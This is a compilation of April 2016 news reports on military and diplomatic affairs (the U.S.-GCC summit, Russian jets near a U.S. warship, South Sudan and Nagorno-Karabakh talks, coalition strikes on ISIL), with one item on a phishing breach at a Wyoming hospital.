In 2009, Belcourt approved a $94,000 payment to another contractor on the water pipeline job. The next week, that company cut Belcourt's wife a $35,000 check.

The same company later gave the Belcourts a $100,000 loan after Tony Belcourt approved a $148,000 payment to the company, prosecutors said.
Carter: New Era of Challenges Facing U.S., Gulf Partner Nations

By Terri Moon Cronk DoD News, Defense Media Activity

WASHINGTON, April 21, 2016  The U.S. and its longtime partners attending the U.S.-Gulf Cooperation Council summit face a new era of challenges as they work toward a lasting defeat of the Islamic State of Iraq and the Levant and to counter Iran's regional destabilization, Defense Secretary Ash Carter said in Riyadh, Saudi Arabia, yesterday.

The defense secretary is on the last leg of a two-week trip that took him to the Asia-Pacific region and several countries in the Middle East and Southwest Asia.

During his opening comments at the meeting, the secretary emphasized the robust relationship forged between the U.S. and its GCC partners over the past 35 years, noting that the close ties have enhanced regional security.

"We've stood together since the days of the Cold War from the Iranian Revolution, to Operation Desert Storm, to the aftermath of 9/11, to our coalition's campaign against ISIL in Iraq and Syria," he said.

The partner nations will together build upon their decades of progress in the new era to defeat ISIL, counter Iran's destabilizing activities and ensure the partner nations' combined capabilities against both threats match their combined commitments, Carter said.

"Today I reaffirmed the United States' enduring commitments to the security of our Gulf partners, including the commitments President [Barack] Obama made at last May's U.S.-GCC summit at Camp David," the secretary said.

Focused Talks Precede President's Arrival

In advance of Obama's attendance today at the U.S.-GCC Leaders' summit, Carter said, the GCC defense ministers from Saudi Arabia, the United Arab Emirates, Bahrain, Qatar, Oman, and Kuwait had a productive series of meetings.

Those discussions included accelerating the mission to defeat ISIL, Carter said, noting he announced earlier this week the U.S. military will take several steps to support Iraqi security forces as the Iraq retakes the key city of Mosul.

The secretary said he today encouraged GCC partners to do more to accelerate ISIL's defeat -- not only militarily, but also politically and economically "because Sunni support for multi-sectarian governance and reconstruction, particularly in Sunni areas of Iraq, will both be critical to ensuring that ISIL stays defeated."

DoD View on Iran Unchanged

U.S.-GCC partners agree the nuclear accord prevents Iran from obtaining a nuclear weapon, although its destabilizing behavior in the region presents many concerns, the secretary said.

That is one reason Carter said he emphasized that the accord imposes no limits on the United States and DoD's view has not changed.

"In our posture, our preparedness, our planning, and our partnership, the U.S. military remains committed and capable of responding to Iranian malign and destabilizing activities, and deterring aggression against our regional friends and allies, including all GCC nations," the secretary said.

The defense ministers also reviewed six key areas of capabilities previously agreed upon to counter symmetric and asymmetric threats -- special operations, maritime security, cybersecurity, ballistic missile defense, exercises and arms transfers, Carter said.

Counter-Threat Capabilities Advance

"Over the last year, we've made important progress across these areas," the secretary said, naming some multilateral efforts:

-- U.S. and GCC special operations forces work more closely together, including war zones, and the partner-nations have advanced regional maritime security with combined naval task forces patrolling "vitally important" regional waterways.

-- The nations are developing a blueprint for regional ballistic missile defense architecture.

-- Partners collaborated in nearly 40 exercises to practice integrated air and missile defense, combined arms, tactical air operations, special operations, and maritime operations. Carter said this month's International Mine Countermeasures exercise is one such example.

-- Important strides have provided GCC nations with critical defense equipment worth more than $33 billion since May, including more than 66,000 precision-guided munitions to support urgent GCC operational requirements -- such as the counter-ISIL campaign.

"I'm confident that based on our discussions today," the secretary said of the next era's threats and challenges, "the United States and GCC partners will be able to take important steps forward."

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USS Shamal Successfully Completes 4th Fleet Patrol

Navy News Service

Story Number: NNS160421-25

Release Date: 4/21/2016 4:35:00 PM

By Lt. j.g. Victoria Einbinder, U.S. Naval Forces Southern Command/U.S. 4th Fleet Public Affairs

MAYPORT, Fla. (NNS) -- Cyclone-class patrol coastal USS Shamal (PC 13) returned April 20 from her second 45-day patrol in the U.S 4th Fleet area of operations.

Shamal deployed Dec. 9, 2015 and again March 8 to conduct counter illicit trafficking operations in support of Operation Martillo.

Operation Martillo, a joint, international law enforcement and military operation involving U.S., European and Western Hemisphere partner nations, targets illicit trafficking routes in the waters off Central America. U.S. Navy forces support the Joint Interagency Task Force-South-led operation in the Western Caribbean and Eastern Pacific through available air and surface assets.

The 45-day patrols were USS Shamal's first engagements since she transferred service from the Coast Guard to the Navy to help fill the gap left by the decommissioning of the last Oliver Hazard Perry Frigates last year. Three PCs, including Shamal, have been outfitted with advanced capabilities including a U.S. Coast Guard Over the Horizon Rigid Hull Inflatable Boat (OTH-RHIB), which allows small teams of U.S. Coast Guard law enforcement personnel to travel a greater distance from the ship utilizing their own radar. All three PCs are homeported in Mayport and are expected to deploy regularly to the 4th Fleet AOR.

In support of Operation Martillo, Shamal's recent patrol assisted in two joint interdictions, resulting in the seizure or jettison of 1,400 kg of cocaine and one detainee. Her previous patrol also resulted in two interdiction events from which 620 kg of cocaine and four detainees were apprehended.

"I am extremely proud of the Shamal crew and the embarked U.S. Coast Guard team," said Lt. Cmdr. Michael Chestnut, Shamal's commanding officer. "They have accomplished every mission - from interdicting drug smugglers to rescuing fishermen - with professionalism and honor. We are delighted to have contributed to enhancing security and stability in the region and are looking forward to future patrols."

So far this calendar year, U.S. Navy assets have contributed to the apprehension of more than 28,748 kg of cocaine and 72 detainees in support of Operation Martillo. These assets include U.S. Navy Maritime Patrol Aircraft (MPA) and USS Lassen (DDG 82) in conjunction with other surface units including U.S. Coast Guard Cutters with their deployed U.S. Coast Guard law enforcement detachments.

Next on the horizon for Shamal is Fleet Week in New York City. Shamal will join four other Navy warships, four Naval Academy Yard Patrol Craft, and two Coast Guard vessels participating in the Parade of Ships on May 25. Ship tours will be available most days that week for interested parties.

U.S. Naval Forces Southern Command and U.S. 4th Fleet support USSOUTHCOM's joint and combined military operations by employing maritime forces in cooperative maritime security operations to maintain access, enhance interoperability and build enduring partnerships in order to enhance regional security and promote peace, stability and prosperity in the Caribbean, Central and South American regions.

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China dissatisfied with British comment on South China Sea

People's Daily Online

(Xinhua) 08:31, April 21, 2016

BEIJING, April 20 -- China is strongly dissatisfied with senior British official Hugo Swire's comment on the South China Sea, Foreign Ministry spokesperson Hua Chunying said on Wednesday.

Hugo Swire, British minister of state for the foreign office, said on Monday that growing tensions in the South China Sea are driven by China's assertive actions.

He said Britain will stand alongside the U.S. in supporting an upcoming ruling by an international tribunal on a complaint lodged by the Philippines and that any ruling "should be binding on both parties."

"Mr. Swire's comment neglects facts and is full of bias. It breaks Britain's commitment that it does not take sides on issues involving territorial disputes. China is strongly dissatisfied with this," Hua said at a regular news briefing.

Hua said the United States and the Philippines colluded to create an illusion of tension on the sea, while what people see is "more than 100,000 vessels passing safely through the region every year as usual."

The only difference is the more frequent and high-profile appearance of U.S. military ships and planes in the region. The U.S. ambassador to the Philippines said recently the U.S. will give Manila an observation blimp and military equipment worth 42 million U.S. dollars, Hua said.

"Facts show that the U.S. is the biggest driver behind tension on the South China Sea. The U.S. is calling white black by blaming China," Hua said.

Manila unilaterally initiated an arbitration case against China over the maritime disputes at an international tribunal in The Hague in early 2013 under the UN Convention on the Law of the Sea (UNCLOS).

"The Philippines' attempt to deny China's sovereignty over the Nansha Islands is obviously a result of instigation behind the scene and political manipulation," Hua said, calling the Philippine move "an abuse of international law".

China has repeatedly said it will not accept nor participate in the process.

The South China Sea disputes between China and the Philippines lies in territorial and maritime demarcation. China declared in 2006 that arbitration and other compulsory dispute settlement procedures do not apply to issues like maritime delimitation, which was outlined in Article 298 of the UNCLOS.

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US military conveys 'displeasure' to Russia over fighter incidents

Iran Press TV

Thu Apr 21, 2016 10:40PM

The United States military says it has conveyed its "displeasure" to the Russian military over recent incidents involving Russian fighter jets intercepting an American spyplane and flying very close to a US warship in international waters of the Baltic Sea.

Two Russian planes whooshed past the USS Donald Cook last week almost a dozen times, said American officials, including a Russian Su-24 jet that flew 30 feet (nine meters) above the US guided missile destroyer in what the Pentagon described as a "simulated attack profile."

One US military official called the events on April 11 and April 12 "one of the most aggressive acts in recent memory".

Also last week, a Russian aircraft flew close to a US Air Force reconnaissance plane and performed a barrel roll during the maneuver, according to the Pentagon.

"I can tell you we have open (military-to-military) channels and our displeasure with their conduct has been relayed to them," Pentagon spokesman Navy Captain Jeff Davis said on Thursday.

"We are not at war with Russia, we have no reason to think that they are going to be attacking our ships. But that said, (the) commanding officer, with his inherent right of self-defense, has to make a split-second decision. We don't want him to miscalculate based upon their inappropriate behavior," Davis added.

Moscow has called its actions appropriate given how close US forces were operating to Kaliningrad, a Russian territory in northern Europe, adding that it observed all required safety measures.

"Could anyone possibly suppose that a destroyer fitted out with 2,500-kilometer-range (1,500 miles) cruise missiles, which can carry nuclear warheads, might be cruising in the waters off New York?" Russian Ambassador to NATO Alexander Grushko said on Wednesday.

"This wasn't military activity proper but rather an attempt to exert pressure on Russia," he stated.

US Secretary of State John Kerry last week condemned the "simulated attack" on the USS Donald Cook, saying the US military would have been within its rights to shoot down the Russian aircraft.

"We condemn this kind of behavior," Kerry said. "It is reckless. It is provocative. It is dangerous. And under the rules of engagement, that could have been a shoot-down."

Commenting on the strong US reaction to the Baltic Sea incident, American analyst Daniel Patrick Welch said the US government is an aspiring empire and "super predator" determined to control the world and destroy nations.

"The United States is constantly coming out with these arrogant statements, calling Russian moves provocative for buzzing a US ship [near Russian borders]," Welch told Press TV on April 15.

"The clear implication is that the US can do whatever it wants, wherever it wants and if anyone moves to push back or take a stance in defending their countries and their people, then they are in the wrong and they are the ones that are provocative," he noted.

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Yemen peace talks start in Kuwait after delay

Iran Press TV

Thu Apr 21, 2016 5:47PM

The United Nations has officially opened delayed peace talks meant to end more than a year of deadly conflict in Yemen.

After repeated delays over alleged truce violations, Yemeni delegates started negotiations in Kuwait City, live televisions images showed Thursday.

The UN had planned the talks to open on Monday, but both representatives of Yemen's Houthi Ansarullah movement and allies on one side and the Saudi-backed camp of resigned president Abd Rabbuh Mansour Hadi, had accused each other of violating a truce deal on the ground.

Previous rounds of talks mediated by the UN have effectively failed to reduce hostilities between the two camps.

The pro-Houthi al-Masirah TV channel said Thursday that the Ansarullah delegation had set off for Kuwait to attend the talks.

Mohammad Ali al-Houthi, the head of Yemen's so-called Supreme Revolutionary Committee, said upon flying to Kuwait that his delegation goes to the talks with the hope that the "bloody aggression" under way by Saudi Arabia would be halted.

He said Yemen still considers itself part of the Arab world and that the cessation of hostilities in Yemen could not only benefit the Yemenis but it would also benefit the entire Arab nations.

Yemen has seen almost daily attacks by Saudi fighter jets since late March 2015 with internal sources putting the toll of the bloody aggression at more than 9,500. Hundreds of thousands have also been displaced across the country as a result of the illegal campaign which is meant to restore power to Hadi, an ally of Riyadh.

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US using B-52 bombers in Iraq, Syria amid civilian fears

Iran Press TV

Thu Apr 21, 2016 8:9AM

The US Air Force has announced using B-52 bombers in the air campaign against Daesh (ISIL) terrorists in Iraq and Syria, amid rising concerns about possible civilian casualties from the deployment.

US Army Colonel Steve Warren said Wednesday a B-52 was sent to destroy an ISIL weapons storage facility in the Iraqi town of Qayyarah, 35 miles (60 kilometers) south of militant-held Mosul, on Monday.

Warren said the aircraft are only conducting precision strikes, rejecting concerns that the use of the bomber would pose greater risk of civilian casualties.

"There are memories in the collective unconscious of B-52s, decades ago, doing ... arguably indiscriminate bombing," the commander said. "Those days are long gone. The B-52 is a precision strike weapons platform and it will conduct the same type of precision strikes that we have seen for the last 20 months."

The B-52 Stratofortress was used to conduct carpet bombing in Vietnam during the 1960s and 70s.

The strategic bomber has the capacity to carry up to 32,000 kilograms of weapons. It is replacing B-1 bombers that had been operating in the region for the past year.

The US military has since August 2014 been targeting purported ISIL positions in Iraq and Syria. Yet many regional officials have questioned the efficacy of those attacks.

In addition, human rights groups and independent observers have reported hundreds of civilian deaths in the US airstrikes in Iraq and Syria.

A USA Today report said Tuesday that the US Defense Department had passed new rules allowing higher levels of allowable civilian casualties in its military campaign against Daesh positions in the two Arab countries.

Six Pentagon officials, all speaking on condition of anonymity, described a sliding scale of allowable civilian casualties based on the value of the target and the location.

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South Sudan rivals cite deal on Machar's return

Iran Press TV

Thu Apr 21, 2016 9:15AM

South Sudan's government and rebels say they have reached a deal to let rebel leader Riek Machar return to the capital to form a unity government.

Rebel spokesman James Gatdet Dak said Machar was expected to fly into Juba on Thursday.

Machar was due to return early this week as part of a peace deal with his rival President Salva Kiir to end a two-year conflict.

Thousands of people have been killed and more than two million forced to flee their homes because of clashes between rival factions.

Machar is due to take up the post of first vice president next to Kiir as part of a power sharing deal.

Machar postponed his return to Juba because the government had declined to give him permission over the numbers of troops and amounts of weapons he planned to being with him.

He had asked to transport 1,500 police forces and 1,410 soldiers with their weapons, which include machine guns and other equipment. Juba allowed in only 1,370 troops, and refused to allow another 1,540 forces.

"There is no reason for the government to refuse these number of soldiers traveling ahead of the Chairman (Machar). The kind of weapons we want to transport to Juba are the weapons they already have there," the rebel group said.

"We are going to be a separate army under the transitional government and we should have our own weapons. If there is a lack of commitment to end this conflict, then it is the government in Juba which is not committed."

The bloody civil war in South Sudan, the youngest country in Africa, began in December 2013 when Kiir accused his former deputy Machar of plotting a coup against him.

The two sides then got involved in a cycle of retaliatory killings that have split the impoverished country along ethnic lines.

Despite the August 2015 peace deal, battles persist across the country. There are numerous militia forces that do not abide by peace agreements and are driven by local agendas.

In January, UN rights monitors offered details about a long list of horrific abuses in the destructive war.

A joint report by the UN peacekeeping mission, UNMISS, and the UN High Commissioner for Human Rights (OHCHR) cited "gross violations" of human rights, including "gang-rape, sexual slavery and forced abortion," by the warring sides.

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Incoming NATO Commander Calls For Permanent Combat Brigade in Europe

April 21, 2016

by Mike Eckel

WASHINGTON -- The incoming head of U.S. military forces in Europe said he supports a permanent brigade-sized presence of U.S. combat troops in Eastern Europe to deter Russia's expanded and assertive actions.

U.S. Army General Curtis Scaparrotti also told a Senate hearing on April 21 that he supported putting U.S. aircraft carriers in the Mediterranean Sea to send a "strategic message" to Russia and Iran.

The comments by Scaparrotti, who is expected to be confirmed as head of U.S. European Command in the coming weeks, reflect the growing push in Washington and some European capitals for a greater military presence, particularly among NATO members who have felt threatened by Russia's actions.

In the wake of Russia's forcible annexation of Ukraine's Crimea Peninsula, the conflict in eastern Ukraine, and Russia's campaign in Syria, the United States and NATO have struggled to recalibrate their response to Moscow's saber-rattling.

The U.S. administration earlier this year announced it would quadruple defense-related spending in Europe and would bring the number of combat brigades rotating into Eastern Europe to three. A brigade typically has between 4,200 and 4,700 troops.

But NATO allies like Poland, or the ex-Soviet Baltic states, have called for a more permanent presence of troops to deter Russia.

"I personally believe that a permanently stationed armored brigade in Europe would be best," Scaparrotti told senators.

It "gives you a little more substance, a little more strength in relationship building," he said.

The buzzing of a U.S. warship in the Baltic Sea by Russian fighter jets, and the close encounter by a Russian jet with a U.S. reconnaissance plane in recent days have also spooked U.S. policy makers and prompted calls from lawmakers for the administration to do more.

Scaparrotti, whose command will also make him NATO's lead military officer, called the flyby that occurred April 12 "absolutely reckless and unjustified."

"I think [the Russians] are pushing the envelope in terms of our resolve, pushing the envelope in terms of international law," he said. "From a military perspective, we should sail and fly wherever we are allowed to by international law, and we should be strong, clear, and consistent in our message in that regard."

Scaparrotti also suggested he would support sending more sophisticated weaponry to bolster Ukraine and its government forces in their fight against Russia-backed separatists in eastern Ukraine.

Washington has provided mortars, counterartillery radar, night-vision goggles, and other equipment, but has repeatedly declined Ukraine's request for "offensive weaponry."

Scaparrotti said he supported sending Ukraine antitank missiles like the Javelin.

In June, the U.S. and NATO forces are scheduled to hold one of the largest war games in years in Poland, featuring around 25,000 troops in exercises that are likely to anger Russia.

Source: http://www.rferl.org/content/scaparotti-nato-commander-russia-ukraine/27689193.html

Copyright (c) 2016. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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Moscow: Ceasefire Agreements of 1994-1995 Key to Nagorno-Karabakh Peace

Sputnik News

23:58 21.04.2016(updated 00:15 22.04.2016)

The Russian Foreign Ministry said that two ceasefire agreements signed between Azerbaijan and Armenia in 1995 and 1996 are the foundation of cessation of hostilities in self-proclaimed Nagorno-Karabakh region.

MOSCOW (Sputnik)  Russia considers two ceasefire agreements signed between Azerbaijan and Armenia in 1995 and 1996 as the foundation of cessation of hostilities in the self-proclaimed Nagorno-Karabakh region, the Russian Foreign Ministry said.

"In the context of the situation around Nagorno-Karabakh, the Russian side insists that the 1994 agreement on the ceasefire and the agreement on the strengthening of the ceasefire regime in Nagorno-Karabakh conflict reached in 1995 have no time limitations and continue to form the foundation of the cessation of hostilities in the conflict zone," the ministry said in a Thursday statement.

The Nagorno-Karabakh conflict began in 1988, when the autonomous region with a predominantly Armenian population sought to secede from the Azerbaijan Soviet Socialist Republic. The region proclaimed independence when the Soviet Union collapsed in 1991, triggering a war that lasted until a Russia-brokered ceasefire in 1994.

Violence in Azerbaijan's breakaway region escalated early this month. Baku and Yerevan have accused each other of provoking hostilities. A ceasefire was achieved on April 5, following days of clashes that led to numerous casualties on both sides.

Hikmet Hajiyev, spokesman for Azerbaijan's Ministry of Foreign Affairs, said earlier on Thursday that a political settlement of the Nagorno-Karabakh conflict is possible with the implementation of four 1993 UN Security Council resolutions calling for the withdrawal of Armenian troops from disputed areas.

Armenia argued that Azerbaijan's statement attempts to lay blame for the April 2 escalation of violence on Yerevan, and that it threatened to further destabilize the situation in the region.

 Sputnik

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Peacekeeping Mission Asks Russia to Restore Chopper Group in Transnistria

Sputnik News

20:08 21.04.2016

The trilateral peacekeeping mission in the breakaway republic of Transnistria cited increasing unsanctioned and uncoordinated foreign aircraft flights over the buffer zone between Moldova and Ukraine as reason for the request.

TIRASPOL (Sputnik)  The trilateral peacekeeping mission in the Moldovan breakaway republic of Transnistria requested Russia on Thursday to restore its helicopter squadron operating within the mission.

"We deem it appropriate to appeal to Russia with the request to restore the valuable work of its helicopter squadron as part of the peacekeeping operation," the Joint Control Commission, operated by Moldovan, Transnistrian and Russian troops, said in a statement.

It cited increasing unsanctioned and uncoordinated foreign aircraft flights over the buffer zone between Moldova and Ukraine as reason for the request.

"Under the Joint Control Commission protocol No.1 from July 28, 1992, the squadron of four Mi-8 helicopters and four Mi-24 helicopters is able to provide the established security regime in the conflict zone," the statement reads.

This year marks the 24th anniversary since the Joint Control Commission launched its peacekeeping mission. A total of 402 Russian, 492 Transnistrian and 355 Moldovan troops, as well as 10 Ukrainian military observers, are serving across 15 static security posts and checkpoints located at key security zone sites.

Transnistria, a region dominated by an ethnically Russian and Ukrainian population, broke away from the Soviet Republic of Moldova in 1990, fearing the country might seek to reunify with neighboring Romania. The move triggered a war that ended in a ceasefire in July 1992, but the conflict has remained unresolved.

 Sputnik

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Two Wyoming Medical Center employees fell for phishing schemes in February, potentially exposing the information of 3,184 patients, the hospital announced Thursday.

Wyoming Medical Center sent letters to the affected patients Wednesday, said Matt Frederiksen, the Casper hospitals chief compliance officer.

We have received some phone calls, but its been very generic questions about whats happened, Frederiksen said. Nobodys made any allegations that their information has been compromised, and there is no credit card notifications that was contained in the email systems.

Phishing emails are messages that appear to come from legitimate sources  such as a bank, friend or colleague or business  that attempt to acquire sensitive information, such as usernames, passwords, credit card information, e-mail addresses or Social Security numbers.

The first employee opened a phishing email and clicked on an attached link on Feb. 22. The second employee opened a phishing email three days later.

Frederiksen doesnt know the identity of the people or group behind the phishing scheme.

They had access to the employees emails for 15 minutes, he said. The hospital could tell the email systems had been compromised within minutes because the accounts had sent spam emails to other hospital employees.

We knew right away, he said. We started taking immediate action updating passwords and ensuring the third party was locked out.

The records in the email system contained patient names, medical record numbers, account numbers, dates of hospital service, birth dates and some medical information, and the hospital characterized the breach as serious in its announcement. However, patients addresses, Social Security numbers or insurance information were not in the records.

No evidence indicates patients health information was viewed or copied from the compromised email accounts, and the hospital believes that no information was viewed or acquired because of the short time the emails were exposed, said Kristy Bleizeffer, spokeswoman for the hospital.

As part of their job duties, the two employees communicate via email about patients in a general way to vendors doing business with Wyoming Medical Center. For instance, if a patient needs a knee implant, the employees could talk with a vendor who supplies implants to the Wyoming Medical Center. Such emails could contain the type of device and the name of the patient, Frederiksen said.

They had access to limited patient information, Frederiksen said. They never had access to our electronic medical record system.

Its taken nearly two months for the hospital to notify the public of the breach.

We had to go through each individual email to identify which patients this could affect, Frederiksen said. That took several weeks to complete. We then had to prepare all of our notifications. We had to also verify because the information that was contained in the email may not have been comprehensive. We had to verify each one against our patient database records and we had to run reports to obtain the (mailing addresses) to do the notification.

The hospital notified the U.S Department of Health and Human Services Office for Civil Rights, the government agency that oversees health privacy violations.

The hospital will continue to review its email and electronic data policies, Frederiksen said.

One of the patients affected was Vickie Diamond, the hospitals CEO, Bleizeffer said. Shes not worried about it. We feel like this is very low risk. Much of the information was deep into the email system.
South Sudan Partners Demand Machar's Return, Movement on Peace Deal

by Jason Patinkin, John Tanza April 21, 2016

The United States, China and other world powers are demanding an end to disputes that have held up the peace process between South Sudan's government and rebel forces.

Ten countries, the European Union and the African Union released an ultimatum Thursday, saying they expect rebel leader Riek Machar to return to the capital, Juba, no later than April 23.

If he does not, they said, they will refer the matter to the United Nations and African Union security councils and request that action be taken.

Machar was due to return to Juba this week to be sworn in as vice president and form a transitional government with his rival, President Salva Kiir; but, expected arrivals on Monday and Tuesday fell through because of last-minute disagreements over the number of troops accompanying Machar and the weapons they would carry.

Machar's return is seen as key to advancing a peace deal the sides signed in August to end South Sudan's two-and-a-half-year civil war, which has displaced more than 2.3 million people.

The countries behind Thursday's statement are partners to JMEC, a body set up to monitor implementation of the peace deal the government and rebels signed in August. They expressed "disappointment" with the government for imposing restrictions on Machar's delegation and "profound disappointment" with Machar for imposing new conditions for his return.

The countries said security conditions in Juba are sufficient for Machar to return, and proposed a final compromise that would allow him to arrive with 195 troops, armed with individuals weapons, 20 machine guns and 20 rocket-propelled grenade launchers.

Rebel negotiator Taban Deng Gai said the rebels, known as the Sudan People's Liberation Movement in Opposition ((SPLM-IO)) approved the compromise.

"If tonight the government brings its approval to allow the bringing in of 20 PKM and 20 RPG, then we can talk about the arrival of the first vice president to Juba at any time," said Gai.

Government spokesman Michael Makuei said he doubted officials would agree.

"We are not expected to accept. This is a mere proposal, and a proposal does not necessarily mean that it must be accepted. The government has not accepted the proposal," said Makuei.

US urges sides to be 'more flexible'

On Wednesday, U.S. Ambassador to South Sudan Cartherine Molly Phee said Washington is disappointed with the leaders of the warring parties in South Sudan. In an interview with VOA's South Sudan in Focus, she urged both sides to honor their pledges and make decisions that advance the peace deal they signed last August.

Ambassador Phee said both parties are to blame for the slow implementation of the peace agreement.

"Both sides need to be more flexible and Dr. Riek needs to recall that the international community met the conditions that he asked for in the JMEC group," she said. She said the rebels' troops and weapons had been transported to Juba and that Machar has no excuse for not coming to the capital.

The U.S. envoy said Washington will not work with South Sudan's government if the two parties are not implementing the peace agreement. She said institutional reforms will remain a prerequisite for assisting the Kiir administration.

"We do not believe it is appropriate to engage in a government that is not inclusive, that fails to make sure that every community in South Sudan, every ethnic community, every political point of view has a seat in the house. Everybody should have a seat and voice in the house and should be able to address differences through a political process rather than at the point of a gun," Phee said.

The U.S. diplomat said South Sudanese leaders should work hard to meet the conditions set by the international community in order to enjoy donor support. She said both President Kiir and Machar need to speed up the formation of the Transitional Government of National Unity and kickstart critical institutional reforms in security sector, governance, economy and reconciliation.

"Those steps are needed for South Sudan to stop this death spiral and to move forward in a positive direction. That is what we all want and that is what we are pushing for," Phee said.

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Military Strikes Continue Against ISIL Terrorists in Syria, Iraq

From a Combined Joint Task Force Operation Inherent Resolve News Release

SOUTHWEST ASIA, April 22, 2016  U.S. and coalition military forces continued to attack Islamic State of Iraq and the Levant terrorists in Syria and Iraq yesterday, Combined Joint Task Force Operation Inherent Resolve officials reported today.

Officials reported details of yesterday's strikes, noting that assessments of results are based on initial reports.

Strikes in Syria

Attack, fighter, and remotely piloted aircraft conducted seven strikes in Syria:

-- Near Abu Kamal, two strikes struck an ISIL bed down location and an ISIL bomb-making facility.

-- Near Manbij, two strikes struck two separate ISIL tactical units.

-- Near Mar'a, three strikes struck two separate ISIL tactical units and destroyed an ISIL mortar system, an ISIL vehicle, and two ISIL fighting positions.

Strikes in Iraq

Bomber, fighter, and remotely piloted aircraft conducted 22 strikes in Iraq, coordinated with and in support of Iraq's government:

-- Near Baghdadi, two strikes struck an ISIL bunker complex and destroyed two ISIL fighting positions.

-- Near Beiji, a strike destroyed three ISIL bunkers.

-- Near Fallujah, eight strikes struck six separate ISIL tactical units and destroyed three ISIL fighting positions, an ISIL heavy machine gun, three ISIL vehicles, and denied ISIL access to terrain.

-- Near Kirkuk, two strikes struck two separate ISIL tactical units and destroyed an ISIL command and control node, an ISIL vehicle, two ISIL assembly areas, and an ISIL bomb storage facility.

-- Near Kisik, a strike struck an ISIL tactical unit and destroyed an ISIL tunnel entrance.

-- Near Mosul, five strikes struck three separate ISIL tactical units and destroyed an ISIL weapons cache, an ISIL assembly area, and three ISIL supply caches and suppressed two separate ISIL fighting positions.

-- Near Qayyarah, a strike produced inconclusive results.

-- Near Sinjar, two strikes destroyed an ISIL bomb and two ISIL asphalt steamrollers.

Task force officials define a strike as one or more kinetic events that occur in roughly the same geographic location to produce a single, sometimes cumulative, effect. Therefore, officials explained, a single aircraft delivering a single weapon against a lone ISIL vehicle is one strike, but so is multiple aircraft delivering dozens of weapons against buildings, vehicles and weapon systems in a compound, for example, having the cumulative effect of making those targets harder or impossible for ISIL to use. Accordingly, officials said, they do not report the number or type of aircraft employed in a strike, the number of munitions dropped in each strike, or the number of individual munition impact points against a target. Ground-based artillery fired in counterfire or in fire support to maneuver roles is not classified as a strike.

Part of Operation Inherent Resolve

The strikes were conducted as part of Operation Inherent Resolve, the operation to eliminate the ISIL terrorist group and the threat they pose to Iraq, Syria, and the wider international community. The destruction of ISIL targets in Syria and Iraq further limits the group's ability to project terror and conduct operations.

Coalition nations that have conducted strikes in Iraq include the United States, Australia, Belgium, Canada, Denmark, France, Jordan, the Netherlands and the United Kingdom. Coalition nations that have conducted strikes in Syria include the United States, Australia, Bahrain, Canada, France, Jordan, the Netherlands, Saudi Arabia, Turkey, the United Arab Emirates and the United Kingdom.

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SPMAGTF-CR-CC 16.1 prepares to return home after providing crisis response to Middle East

US Marine Corps News

By Sgt. Owen Kimbrel | April 22, 2016

U.S. Marines with Special Purpose Marine Air Ground Task Force  Crisis Response  Central Command (SPMAGTF-CR-CC) are currently deployed to the U.S. Central Command area of responsibility serving as a crisis response force in the region. Additionally, SPMAGTF-CR-CC Marines and Sailors offer support for Task Force Al Asad (TFAA) and Task Force Al Taqaddum (TFTQ), both in Iraq, while they advise and assist Iraqi Security Forces (ISF) during Operation Inherent Resolve (OIR), which focuses on defeating the Islamic State of Iraq and Levant.

Being able to provide the vital crisis response components is a group effort throughout the SPMAGTF. The aviation combat element (ACE) and ground combat element (GCE) make up a large majority of the force.

The ACE provides the area of operation (AO) with 'around the clock' air support delivering troops and supplies to TFTQ and TFAA and various other locations while also taking part in coalition airstrikes all in support of OIR. The ACE consist of Marines and Sailors from Marine Aerial Refueler Transport Squadron 352 (VMGR-352), Marine Medium Tiltrotor Squadron 268 (VMM-268), Marine Wing Support Squadron 372 (MWSS -372) and Marine Attack Squadron 223 (VMA-223). During the six month deployment the various squadrons logged countless hours of flight time conducting coalition airstrikes and assisting in the transportation of personnel and supplies which was an essential piece of the SPMAGTF-CR-CC mission.

The GCE provided the security force for various locations around the AO. It consisted of Marines and Sailors with 1st Battalion, 7th Marine Regiment which conducted base security operations and provided various host nation forces with various levels of training to increase interoperability and promote stability in the region. The Marines stood posts around the AO totaling more than 309,200 hours to ensure base security; they also conducted 75 patrols and treated more than 300 Iraqi casualties for wounds and injuries. The Marines were able to conduct 46 live fire and non-live fire exercises with host nation partners during the deployment in order to build basic combat skills and military tactics for the host nation forces.

"Because of the Marines' efforts I believe that we have made this a better place now than what it was six months ago and that's not just because of the GCE but the entire SPMAGTF", said Lt. Col. Dave Hart, the GCE commander. "It's been a great opportunity and I cannot be more proud of the 1/7 Marines and Sailors on what they've accomplished. The discipline they showed in the conditions that they served in and how dynamic and dangerous it is in the region was exemplary."

The various units that make up the SPMAGTF have come together in order to provide a force of readiness that is able to respond to any crisis that may arise thanks to the efforts of every Marine and Sailor. With SPMAGTF-CR-CC 16.1 slated to return home in the coming months, the next rotation of Marines and Sailors will hit the ground running to keep the SPMAGTF's mission of increasing interoperability throughout the region.

"I'm blessed to have the team that we have, our leaders have done a great job across every element within the SPMAGTF, from the NCO (noncommissioned officer) level on up," said Col. William McCollough, the SPMAGTF-CR-CC 16.1 commanding officer. "We arrived in theater with the intention to make a positive difference and I truly believe that we have accomplished that task."

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Armenian Foreign Ministry Accuses Azerbaijan of Impeding Karabakh Talks

Sputnik News

00:24 22.04.2016

The Armenian Ministry of Foreign Affairs said that Azerbaijan is attempting to stymie talks to settle the Nagorno-Karabakh conflict.

YEREVAN (Sputnik)  Azerbaijan is attempting to stymie talks to settle the Nagorno-Karabakh conflict, the Armenian Ministry of Foreign Affairs said Thursday.

"Armenia strongly condemns Azerbaijan's futile attempts to call into question the open-ended trilateral ceasefire agreement between Karabakh, Armenia and Azerbaijan signed in May 1994," the ministry said in a statement responding to the Azeri Foreign Ministry's previous remarks.

Hikmet Hajiyev, spokesman for Azerbaijan's Ministry of Foreign Affairs, said earlier on Thursday that a political settlement of the conflict is possible with the implementation of four 1993 UN Security Council resolutions calling for the withdrawal of Armenian troops from disputed areas.

Armenia argued that Azerbaijan's statement attempts to lay blame for the April 2 escalation on Yerevan, and that it threatened to further destabilize the situation in the region. The sides agreed to a ceasefire three days later, but claimed regular violations with dozens of victims on each side.

The Nagorno-Karabakh conflict began in 1988, when the autonomous region with a predominantly Armenian population sought to secede from the Azerbaijan Soviet Socialist Republic. The region proclaimed independence when the Soviet Union collapsed in 1991, triggering a war that lasted until a Russia-brokered ceasefire in 1994.

 Sputnik

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Afghan Official: Kabul Attack Set Back Peace Efforts, Ties with Pakistan

by Ayaz Gul April 22, 2016

